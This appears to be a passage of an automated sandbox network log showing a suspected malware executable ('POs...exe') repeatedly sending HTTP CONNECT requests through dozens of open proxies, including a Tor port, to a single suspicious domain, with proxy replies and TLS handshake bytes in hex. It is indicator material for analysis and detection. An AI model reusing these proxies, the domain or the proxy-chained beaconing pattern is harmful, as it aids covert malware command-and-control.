Mar 11, 2024 16:42:25.464653015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.11	54402	162.214.170.144	37592	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.464874983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.985624075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.689104080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.985960007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.298508883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.688780069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.985697985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.11	54337	216.9.224.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.466486931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.11	49880	18.134.236.231	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.471743107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.765285015 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:25 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.11	52559	203.124.53.122	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.473202944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.11	54454	104.19.217.219	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.476563931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.631309032 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.11	54453	104.22.14.48	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.477329016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.631611109 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.11	52763	80.87.200.140	9050	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.491190910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.086631060 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.11	54371	18.135.133.116	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.497323990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.787889957 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:25 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:25.794244051 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 61 66 88 be 20 3b 5b f2 1a 89 1e fd 72 6c 3b 48 c4 44 c8 16 f1 37 da 1a 1d c3 4e 59 ab 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&af ;[rl;HD7NY*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:26.084855080 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 65 2f b6 93 62 e4 44 33 b9 a8 b5 6c 0d 0e 9f 13 2b 50 9a 13 db ca cb 4c 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9e/bD3l+PLDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311152422Z260311152422Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:26.114197016 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 15 71 f3 15 76 ea e9 7f a4 0e bd 6b e8 56 9f 6a 5b ff 59 ce c1 2d bd b2 76 68 08 f4 56 3f b0 5e 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 5b 4c 6e 1f 46 76 54 d3 07 f5 a3 19 db b3 fa 06 fb 4d a6 a0 a0 Data Ascii: %! qvkVj[Y-vhV?^([LnFvTM~C s
Mar 11, 2024 16:42:26.403485060 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 b7 d1 22 9a 47 7a 01 54 a1 48 1a a1 8d 0f 99 55 30 9b 0f fc fe 98 7e d5 72 c3 82 05 90 f8 0e f7 b7 3b 64 d3 ae 1d 37 7a Data Ascii: ("GzTHU0~r;d7z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.11	54129	123.241.210.123	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.507659912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.722839117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.11	54367	58.234.116.197	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.512226105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.11	53828	120.28.195.40	8282	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.518938065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.641777039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.735799074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.829507113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985410929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.11	52810	92.204.134.38	15393	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.521871090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.11	53836	146.59.18.246	9755	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.522051096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1389	192.168.2.11	54378	147.75.34.86	10008	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.531537056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.835563898 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.11	54357	103.182.112.11	5000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.535612106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.870563984 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.11	52824	107.180.90.248	7698	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.544249058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.641777992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.735794067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.829508066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985425949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.11	54379	20.206.106.192	8123	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.545665026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.972290993 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.11	54377	115.146.225.137	10046	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.550498962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.11	54414	35.72.118.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.550844908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.814456940 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:25 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:25.815959930 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 61 16 0f d8 01 d3 a2 c4 ae 51 35 90 f4 64 44 88 d2 07 93 79 de 72 d5 41 af b3 6f 49 8f 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&aQ5dDyrAoI*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:26.078875065 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 8b 26 39 f7 c9 9b 21 3d 41 44 3c a8 87 5d 96 a9 86 da 0e e8 0b 0a 33 b4 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9&9!=AD<]3DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151440Z260311151440Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:26.094500065 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 b4 74 bd 74 7d cb 4c 41 e0 f2 83 b5 50 ea 10 b0 6a 57 c1 c3 f6 8f 67 41 08 7a c3 f8 c7 a9 75 3d 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 c9 6d 50 26 f5 09 61 09 b5 aa d2 50 77 8b d4 ce 0e 96 d2 9d 85 Data Ascii: %! tt}LAPjWgAzu=(mP&aPw'\HAI
Mar 11, 2024 16:42:26.355034113 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 6e a0 fa dc 41 2c 1c 2b 9e 7a 43 98 d2 06 b4 02 9c 2d d9 c8 76 50 87 ec f6 47 4b 87 c0 9f 0a 12 d2 d2 ad 4f c8 ab c6 ee Data Ascii: (nA,+zC-vPGKO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.11	53834	103.148.51.19	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.565392017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.11	54426	133.18.234.13	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
